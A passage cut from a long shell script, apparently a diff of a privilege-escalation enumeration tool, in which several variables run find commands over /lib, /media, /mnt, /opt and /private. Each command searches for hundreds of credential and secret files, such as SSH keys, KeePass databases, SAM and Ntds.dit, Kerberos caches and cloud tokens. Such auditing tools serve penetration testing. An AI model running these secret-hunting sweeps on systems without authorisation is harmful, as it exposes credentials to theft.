-o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"ssh*config\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB=`eval_bckgrd "find ${ROOT_FOLDER}lib -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" -o -name \"log4j-core*.jar\" -o -name \"rocketchat.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB32=`eval_bckgrd "find ${ROOT_FOLDER}lib32 -name \"log4j-core*.jar\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB64=`eval_bckgrd "find ${ROOT_FOLDER}lib64 -name \"log4j-core*.jar\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_MEDIA=`eval_bckgrd "find ${ROOT_FOLDER}media -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_MNT=`eval_bckgrd "find ${ROOT_FOLDER}mnt -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"setupinfo\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"sess_*\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_OPT=`eval_bckgrd "find ${ROOT_FOLDER}opt -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_PRIVATE=`eval_bckgrd "find ${ROOT_FOLDER}private -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"setupinfo\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"sess_*\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name 